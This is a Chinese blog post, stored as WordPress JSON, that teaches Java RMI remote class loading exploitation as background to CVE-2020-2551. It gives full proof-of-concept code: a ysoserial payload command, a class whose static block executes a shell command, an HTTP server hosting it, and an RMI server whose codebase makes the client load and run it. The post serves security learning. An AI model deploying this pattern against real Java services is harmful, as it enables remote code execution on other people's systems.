{"id":258,"date":"2020-02-23T03:44:07","date_gmt":"2020-02-22T19:44:07","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=258"},"modified":"2020-04-02T21:44:27","modified_gmt":"2020-04-02T13:44:27","slug":"java%e8%bf%9c%e7%a8%8b%e5%8a%a0%e8%bd%bd%e5%88%a9%e7%94%a8%e5%ad%a6%e4%b9%a0%e4%b8%80%ef%bc%9a%e6%81%b6%e6%84%8f%e7%9a%84rmi-server","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=258","title":{"rendered":"JAVA\u8fdc\u7a0b\u52a0\u8f7d\u5229\u7528\u5b66\u4e60\u4e00\uff1a\u6076\u610f\u7684RMI Server"},"content":{"rendered":"\n

2020\u5e74 \u5e74\u521d\u7684\u65f6\u5019\uff0cWeblogic\u7206\u51fa\u4e86\u4e00\u4e2a\u6f0f\u6d1eCVE-2020-2551\uff0c\u8bf4\u662f IIOP\u534f\u8bae\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u53efRCE\uff08https:\/\/qiita.com\/shimizukawasaki\/items\/7e01401a706900435591<\/a> \uff09\u3002
\u7531\u4e8e\u5f53\u65f6\u6c34\u5e73\u6709\u9650\uff0c\u5bf9JAVA \u5e8f\u5217\u5316\u7684\u7406\u89e3\uff0c\u4ec5\u505c\u7559\u5728ysoserial\u751f\u6210payload,readObject()\u4e00\u4e0b\u5c31\u80fd\u89e6\u53d1RCE\u3002
\u7f51\u4e0a\u4e5f\u6ca1\u6709POC\uff0c\u53ea\u80fd\u6df1\u5165\u5b66\u4e60\u4e00\u4e0b\u3002
\u6709\u5e78\u62dc\u8bfb\u4e86\u524d\u8f88\u4eec\u7684\u603b\u7ed3\u5fc3\u5f97\uff1a<\/p>\n\n\n\n

  1. https:\/\/paper.seebug.org\/1012<\/a> <\/li>
  2. https:\/\/paper.seebug.org\/1091<\/a> <\/li><\/ol>\n\n\n\n

    \u53d7\u76ca\u826f\u591a\u3002\u4e5f\u7b97\u662f\u5bf9JAVA\u7684\u5e8f\u5217\u5316\u5229\u7528\u6709\u4e86\u65b0\u7684\u8ba4\u8bc6\u3002
    \n\u5185\u5bb9\u8f83\u591a\uff0c\u4e14\u5185\u5bb9\u6df1\u5ea6\u6025\u5267\u4e0b\u964d\uff0c\u5bf9\u65b0\u624b\u5f88\u96be\u638c\u63e1\u3002
    \n\u300aJAVA\u5e8f\u5217\u5316\u5229\u7528\u5b66\u4e60\u300b\u8fd9\u4e2a\u7cfb\u5217\u7b97\u662f\u62bd\u4e1d\u5265\u8327\uff0c\u4e00\u6b65\u4e00\u6b65\u7531\u6d45\u5165\u6df1\uff0c\u7406\u89e3CVE-2020-2551\u662f\u600e\u4e48\u56de\u4e8b\u3002
    \n\u5efa\u8bae\u5148\u628a\u524d\u8f88\u7684\u4e24\u7bc7\u6587\u7ae0\u6309\u987a\u5e8f\u8bfb\u4e24\u904d\u3002\u7406\u8bba\u77e5\u8bc6\u57fa\u7840\u5168\u90e8\u6765\u81ea\u8fd9\u91cc\u4e24\u7bc7\u6587\u7ae0\u3002<\/p>\n\n\n\n

    \u672c\u7cfb\u5217\u7684\u4ee3\u7801\u5168\u90e8\u6458\u81ea\u524d\u8f88\u7684github:<\/p>\n\n\n\n

    https:\/\/github.com\/longofo\/rmi-jndi-ldap-jrmp-jmx-jms<\/a> <\/p>\n\n\n\n

    \u524d\u8f88\u7684github\u91cc\u6709\u5f88\u591a\u53bbweblogic Lookup\u5bf9\u8c61\u7684\u4f8b\u5b50\u8fd9\u91cc\u5c31\u4e0d\u62ff\u51fa\u6765\u4e86\uff0c\u6bd4\u8f83\u7b80\u5355\uff0c\u53ef\u4ee5\u8dd1\u8dd1\u770b\u3002
    \n\u6ce8\u610f\u7684\u662f\u9700\u8981\u53bbWeblogic\u4e2d\u62ff wlclient.jar \u5bfc\u5165\u5230\u9879\u76ee\u3002<\/p>\n\n\n\n

    \u7b2c\u4e00\u4e2a\u9879\u76ee<\/h2>\n\n\n\n

    \u53ef\u4ee5\u5728eclipse\u4e2d\u521b\u5efamaven\u9879\u76ee\u6765\u6d4b\u8bd5\u8fd9\u4e9b\u4ee3\u7801\u3002
    \n\u73af\u5883\uff1aJDK6u29 KaliLinux Eclipse
    \n\u5148\u7528ysoserial\u751f\u6210RCE\u7684\u5e8f\u5217\u5316\u6d41\u6587\u4ef6\uff1a<\/p>\n\n\n\n

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser<\/code><\/pre>\n\n\n\n
    Server\u7aef\u9879\u76ee<\/h2>\n\n\n\n
    1.\u5148\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7c7b\uff1a
    \ncom.hans.remoteClass.ExportObject<\/p>\n\n\n\n
    package com.hans.remoteClass;\n\nimport javax.naming.Context;\nimport javax.naming.Name;\nimport javax.naming.spi.ObjectFactory;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.io.Serializable;\nimport java.util.Hashtable;\n\npublic class ExportObject implements ObjectFactory, Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tstatic {\n        \/\/\u8fd9\u91cc\u7531\u4e8e\u5728static\u4ee3\u7801\u5757\u4e2d\uff0c\u65e0\u6cd5\u76f4\u63a5\u629b\u5f02\u5e38\u5916\u5e26\u6570\u636e\uff0c\u4e0d\u8fc7\u5728static\u4e2d\u5e94\u8be5\u4e5f\u6709\u5176\u4ed6\u65b9\u5f0f\u5916\u5e26\u6570\u636e\u3002\u6ca1\u5199\u5728\u6784\u9020\u51fd\u6570\u4e2d\u662f\u56e0\u4e3a\u9879\u76ee\u4e2d\u6709\u4e9b\u5229\u7528\u65b9\u5f0f\u4e0d\u4f1a\u8c03\u7528\u6784\u9020\u53c2\u6570\uff0c\u6240\u4ee5\u4e3a\u4e86\u65b9\u6807\u76f4\u63a5\u5199\u5728static\u4ee3\u7801\u5757\u4e2d\u6240\u6709\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u7684\u5730\u65b9\u90fd\u4f1a\u8c03\u7528static\u4ee3\u7801\u5757\n        try {\n            exec(\"gnome-calculator\");\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static void exec(String cmd) throws Exception {\n        String sb = \"\";\n        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());\n        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));\n        String lineStr;\n        while ((lineStr = inBr.readLine()) != null)\n            sb += lineStr + \"\\n\";\n        inBr.close();\n        in.close();\n\/\/        throw new Exception(sb);\n    }\n\n    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {\n        return null;\n    }\n}<\/code><\/pre>\n\n\n\n
    2.\u542f\u52a8\u4e00\u4e2aHttp server \u63d0\u4f9b\u8fdc\u7a0b\u8c03\u7528\u6076\u610f\u7c7b\uff1a
    \ncom.hans.httpServer.HttpServer<\/p>\n\n\n\n
    package com.hans.httpServer;\n\nimport com.sun.net.httpserver.HttpExchange;\nimport com.sun.net.httpserver.HttpHandler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.InetSocketAddress;\n\/*\n * \u4f60\u5ba2\u6237\u7aef\u7f3a\u4ec0\u4e48\u7c7b\u5230\u6211\u8fd9\u4e2aHttp\u670d\u52a1\u4e0a\u6765\u62ff\n * https:\/\/paper.seebug.org\/1091\/\n * 1. First start http server\n * *\/\npublic class HttpServer implements HttpHandler {\n    public void handle(HttpExchange httpExchange) {\n        try {\n            System.out.println(\"new http request from \" + httpExchange.getRemoteAddress() + \" \" + httpExchange.getRequestURI());\n            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());\n            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n            while (inputStream.available() > 0) {\n                byteArrayOutputStream.write(inputStream.read());\n            }\n\n            byte[] bytes = byteArrayOutputStream.toByteArray();\n            httpExchange.sendResponseHeaders(200, bytes.length);\n            httpExchange.getResponseBody().write(bytes);\n            httpExchange.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static void main(String args[]) throws IOException {\n        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);\n\n        System.out.println(\"String HTTP Server on port: 8000\");\n        httpServer.createContext(\"\/\", new HttpServer());\n        httpServer.setExecutor(null);\n        httpServer.start();\n    }\n}<\/code><\/pre>\n\n\n\n
    3.\u7136\u540e\u90e8\u7f72\u4e00\u4e2aRMI Server
    \ncom.hans.RMI.Message<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.io.Serializable;\n\npublic class Message implements Serializable {\n    private static final long serialVersionUID = 1L;\n    private String msg;\n\n    public Message() {\n    }\n\n    public String getMessage() {\n        System.out.println(\"Processing message: \" + msg);\n        return msg;\n    }\n\n    public void setMessage(String msg) {\n        this.msg = msg;\n    }\n}<\/code><\/pre>\n\n\n\n
    com.hans.RMI.Services<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.rmi.RemoteException;\n\npublic interface Services extends java.rmi.Remote {\n    Object sendMessage(Message msg) throws RemoteException;\n}<\/code><\/pre>\n\n\n\n
    com.hans.RMI.ServicesImpl<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.rmi.RemoteException;\n\nimport com.hans.remoteClass.ExportObject;\n\npublic class ServicesImpl implements Services {\n    public ExportObject sendMessage(Message msg) throws RemoteException {\n        return new ExportObject();\n    }\n}<\/code><\/pre>\n\n\n\n
    com.hans.RMI.RMIServer<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.rmi.AlreadyBoundException;\nimport java.rmi.RemoteException;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.rmi.server.UnicastRemoteObject;\n\n\/*\n * 2. Second start RMI server\n * *\/\n\npublic class RMIServer {\n    public static void main(String[] args) {\n        try {\n            \/\/ \u5b9e\u4f8b\u5316\u670d\u52a1\u7aef\u8fdc\u7a0b\u5bf9\u8c61\n            ServicesImpl obj = new ServicesImpl();\n            \/\/ \u6ca1\u6709\u7ee7\u627fUnicastRemoteObject\u65f6\u9700\u8981\u4f7f\u7528\u9759\u6001\u65b9\u6cd5exportObject\u5904\u7406\n            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);\n\n            \/\/\u8bbe\u7f6ejava.rmi.server.codebase\n            System.setProperty(\"java.rmi.server.codebase\", \"http:\/\/127.0.0.1:8000\/\");\n\n            Registry reg;\n            try {\n                \/\/ \u521b\u5efaRegistry\n                reg = LocateRegistry.createRegistry(9999);\n                System.out.println(\"java RMI registry created. port on 9999...\");\n            } catch (Exception e) {\n                System.out.println(\"Using existing registry\");\n                reg = LocateRegistry.getRegistry();\n            }\n            \/\/\u7ed1\u5b9a\u8fdc\u7a0b\u5bf9\u8c61\u5230Registry\n            reg.bind(\"Services\", services);\n        } catch (RemoteException e) {\n            e.printStackTrace();\n        } catch (AlreadyBoundException e) {\n            e.printStackTrace();\n        }\n    }\n}<\/code><\/pre>\n\n\n\n
    \u5f53\u5728eclipse\u4e2d\u542f\u52a8 http server\u65f6\uff0ceclipse\u4f1a\u540c\u65f6\u7f16\u8bd1ExportObject.java\u3002\u5373\u53ef\u901a\u8fc7 http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class \u83b7\u53d6\u6076\u610f\u7684\u7c7b\u6d4b\u8bd5\u670d\u52a1\u662f\u5426\u542f\u52a8\u6210\u529f\u3002<\/p>\n\n\n\n
    Client\u7aef:<\/h2>\n\n\n\n
    \u4f5c\u4e3a\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528\uff0c\u6211\u53ef\u4ee5\u4e0d\u77e5\u9053ExportObject\u505a\u4e86\u5565\uff0c\u4f46\u662f\u6211\u5fc5\u987b\u8981\u77e5\u9053ExportObject\u5916\u8868\u957f\u5565\u6837\uff1a
    com.hans.remoteClass.ExportObject<\/p>\n\n\n\n
    package com.hans.remoteClass;\n\nimport javax.naming.Context;\nimport javax.naming.Name;\nimport javax.naming.spi.ObjectFactory;\nimport java.io.Serializable;\nimport java.util.Hashtable;\n\npublic class ExportObject implements ObjectFactory, Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {\n        return null;\n    }\n\t\n}<\/code><\/pre>\n\n\n\n
    com.hans.RMI.Message<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.io.Serializable;\n\npublic class Message implements Serializable {\n    \/**\n\t * \n\t *\/\n\tprivate static final long serialVersionUID = 1L;\n\tprivate String msg;\n\n    public Message() {\n    }\n\n    public String getMessage() {\n        System.out.println(\"Processing message: \" + msg);\n        return msg;\n    }\n\n    public void setMessage(String msg) {\n        this.msg = msg;\n    }\n}<\/code><\/pre>\n\n\n\n
    com.hans.RMI.Services<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.rmi.RemoteException;\n\npublic interface Services extends java.rmi.Remote {\n    Object sendMessage(Message msg) throws RemoteException;\n}<\/code><\/pre>\n\n\n\n
    com.hans.RMI.RMIClient<\/p>\n\n\n\n
    package com.hans.RMI;\n\nimport java.rmi.RMISecurityManager;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\n\npublic class RMIClient \n{\n    public static void main( String[] args )  throws Exception\n    {\n        \/\/\u5982\u679c\u9700\u8981\u4f7f\u7528RMI\u7684\u52a8\u6001\u52a0\u8f7d\u529f\u80fd\uff0c\u9700\u8981\u5f00\u542fRMISecurityManager\uff0c\u5e76\u914d\u7f6epolicy\u4ee5\u5141\u8bb8\u4ece\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u5e93\n        System.setProperty(\"java.security.policy\", RMIClient.class.getClassLoader().getResource(\"java.policy\").getFile());\n        RMISecurityManager securityManager = new RMISecurityManager();\n        System.setSecurityManager(securityManager);\n\n        Registry registry = LocateRegistry.getRegistry(\"127.0.0.1\", 9999);\n        \/\/ \u83b7\u53d6\u8fdc\u7a0b\u5bf9\u8c61\u7684\u5f15\u7528\n        Services services = (Services) registry.lookup(\"Services\");\n        Message message = new Message();\n        message.setMessage(\"hahaha\");\n\n        services.sendMessage(message);\n    }\n}<\/code><\/pre>\n\n\n\n
    \u5f53Client\u9879\u76ee\u8fd0\u884c\u5728kali linux \u65f6\uff0c\u4ece\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u5e93\u65f6\u4f1a\u89e6\u53d1\u4ee3\u7801\u6267\u884c\uff0c\u5f39\u51fa\u8ba1\u7b97\u5668\u3002<\/p>\n\n\n\n
    <\/p>\n\n\n\n
    <\/p>\n\n\n\n
    <\/p>\n","protected":false},"excerpt":{"rendered":"
    2020\u5e74 \u5e74\u521d\u7684\u65f6\u5019\uff0cWeblogic\u7206\u51fa\u4e86\u4e00\u4e2a\u6f0f\u6d1eCVE-2020-2551\uff0c\u8bf4\u662f IIOP\u534f\u8bae\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u53efRCE\uff08https:\/\/qiita.com\/shimizukawasaki\/items\/7e01401a706900435591 \uff09\u3002 \u7531\u4e8e\u5f53\u65f6\u6c34\u5e73\u6709\u9650\uff0c\u5bf9JAVA \u5e8f\u5217\u5316\u7684\u7406\u89e3\uff0c\u4ec5\u505c\u7559\u5728ysoserial\u751f\u6210payload,readObject()\u4e00\u4e0b\u5c31\u80fd\u89e6\u53d1RCE\u3002 \u7f51\u4e0a\u4e5f\u6ca1\u6709POC\uff0c\u53ea\u80fd\u6df1\u5165\u5b66\u4e60\u4e00\u4e0b\u3002 \u6709\u5e78\u62dc\u8bfb\u4e86\u524d\u8f88\u4eec\u7684\u603b\u7ed3\u5fc3\u5f97\uff1a https:\/\/paper.seebug.org\/1012 https:\/\/paper.seebug.org\/1091 \u53d7\u76ca\u826f\u591a\u3002\u4e5f\u7b97\u662f\u5bf9JAVA\u7684\u5e8f\u5217\u5316\u5229\u7528\u6709\u4e86\u65b0\u7684\u8ba4\u8bc6\u3002 \u5185\u5bb9\u8f83\u591a\uff0c\u4e14\u5185\u5bb9\u6df1\u5ea6\u6025\u5267\u4e0b\u964d\uff0c\u5bf9\u65b0\u624b\u5f88\u96be\u638c\u63e1\u3002 \u300aJAVA\u5e8f\u5217\u5316\u5229\u7528\u5b66\u4e60\u300b\u8fd9\u4e2a\u7cfb\u5217\u7b97\u662f\u62bd\u4e1d\u5265\u8327\uff0c\u4e00\u6b65\u4e00\u6b65\u7531\u6d45\u5165\u6df1\uff0c\u7406\u89e3CVE-2020-2551\u662f\u600e\u4e48\u56de\u4e8b\u3002 \u5efa\u8bae\u5148\u628a\u524d\u8f88\u7684\u4e24\u7bc7\u6587\u7ae0\u6309\u987a\u5e8f\u8bfb\u4e24\u904d\u3002\u7406\u8bba\u77e5\u8bc6\u57fa\u7840\u5168\u90e8\u6765\u81ea\u8fd9\u91cc\u4e24\u7bc7\u6587\u7ae0\u3002 \u672c\u7cfb\u5217\u7684\u4ee3\u7801\u5168\u90e8\u6458\u81ea\u524d\u8f88\u7684github: https:\/\/github.com\/longofo\/rmi-jndi-ldap-jrmp-jmx-jms \u524d\u8f88\u7684github\u91cc\u6709\u5f88\u591a\u53bbweblogic Lookup\u5bf9\u8c61\u7684\u4f8b\u5b50\u8fd9\u91cc\u5c31\u4e0d\u62ff\u51fa\u6765\u4e86\uff0c\u6bd4\u8f83\u7b80\u5355\uff0c\u53ef\u4ee5\u8dd1\u8dd1\u770b\u3002 \u6ce8\u610f\u7684\u662f\u9700\u8981\u53bbWeblogic\u4e2d\u62ff wlclient.jar \u5bfc\u5165\u5230\u9879\u76ee\u3002 \u7b2c\u4e00\u4e2a\u9879\u76ee \u53ef\u4ee5\u5728eclipse\u4e2d\u521b\u5efamaven\u9879\u76ee\u6765\u6d4b\u8bd5\u8fd9\u4e9b\u4ee3\u7801\u3002 \u73af\u5883\uff1aJDK6u29 KaliLinux Eclipse \u5148\u7528ysoserial\u751f\u6210RCE\u7684\u5e8f\u5217\u5316\u6d41\u6587\u4ef6\uff1a Server\u7aef\u9879\u76ee 1.\u5148\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7c7b\uff1a com.hans.remoteClass.ExportObject 2.\u542f\u52a8\u4e00\u4e2aHttp server \u63d0\u4f9b\u8fdc\u7a0b\u8c03\u7528\u6076\u610f\u7c7b\uff1a com.hans.httpServer.HttpServer 3.\u7136\u540e\u90e8\u7f72\u4e00\u4e2aRMI Server com.hans.RMI.Message com.hans.RMI.Services com.hans.RMI.ServicesImpl com.hans.RMI.RMIServer \u5f53\u5728eclipse\u4e2d\u542f\u52a8 http server\u65f6\uff0ceclipse\u4f1a\u540c\u65f6\u7f16\u8bd1ExportObject.java\u3002\u5373\u53ef\u901a\u8fc7 http:\/\/localhost:8000\/com\/hans\/remoteClass\/ExportObject.class \u83b7\u53d6\u6076\u610f\u7684\u7c7b\u6d4b\u8bd5\u670d\u52a1\u662f\u5426\u542f\u52a8\u6210\u529f\u3002 Client\u7aef: \u4f5c\u4e3a\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528\uff0c\u6211\u53ef\u4ee5\u4e0d\u77e5\u9053ExportObject\u505a\u4e86\u5565\uff0c\u4f46\u662f\u6211\u5fc5\u987b\u8981\u77e5\u9053ExportObject\u5916\u8868\u957f\u5565\u6837\uff1acom.hans.remoteClass.ExportObject com.hans.RMI.Message com.hans.RMI.Services com.hans.RMI.RMIClient \u5f53Client\u9879\u76ee\u8fd0\u884c\u5728kali linux \u65f6\uff0c\u4ece\u8fdc\u7a0b\u52a0\u8f7d\u7c7b\u5e93\u65f6\u4f1a\u89e6\u53d1\u4ee3\u7801\u6267\u884c\uff0c\u5f39\u51fa\u8ba1\u7b97\u5668\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,2],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/258"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=258"}],"version-history":[{"count":2,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/258\/revisions"}],"predecessor-version":[{"id":333,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/258\/revisions\/333"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=258"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=258"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=258"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}